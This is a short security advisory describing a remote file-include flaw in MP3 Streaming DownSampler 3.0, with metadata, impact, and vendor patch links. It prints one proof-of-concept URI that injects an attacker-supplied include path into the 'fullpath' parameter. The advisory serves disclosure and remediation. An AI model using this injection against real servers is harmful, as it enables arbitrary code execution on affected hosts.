MP3 Streaming DownSampler Core.Inc.PHP Remote File Include Vulnerability

Bugtraq ID:	20783
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 28 2006 12:00AM
Updated:	Dec 04 2006 04:24PM
Credit:	Cyber-Security has been credited with the discovery of this vulnerability.
Vulnerable:	MP3SDS MP3SDS 3.0
Not Vulnerable:	MP3SDS MP3SDS 3.1

MP3 Streaming DownSampler Core.Inc.PHP Remote File Include Vulnerability

MP3 Streaming DownSampler is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

A successful exploit of this issue allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

MP3 Streaming DownSampler Core.Inc.PHP Remote File Include Vulnerability

An attacker may exploit this issue using a web client.

The following proof-of-concept URI is available:

http://www.example.com/Core/core.inc.php?fullpath=evilscripts?

MP3 Streaming DownSampler Core.Inc.PHP Remote File Include Vulnerability

Solution:
The vendor has released a fix to address this issue. Please see the references section for further information.


MP3SDS MP3SDS 3.0

• MP3SDS mp3SDS-3.0-patch1.txt
  http://damac.us/Projects/mp3SDS/archive/mp3SDS-3.0-patch1.txt


• MP3SDS mp3SDS-3.1.tgz
  http://damac.us/Projects/mp3SDS/archive/mp3SDS-3.1.tgz

MP3 Streaming DownSampler Core.Inc.PHP Remote File Include Vulnerability

References:

• MP3 Streaming DownSampler Homepage (MP3SDS)
  
• Security Notice - v3.0 on affected PHP installs (mp3SDS)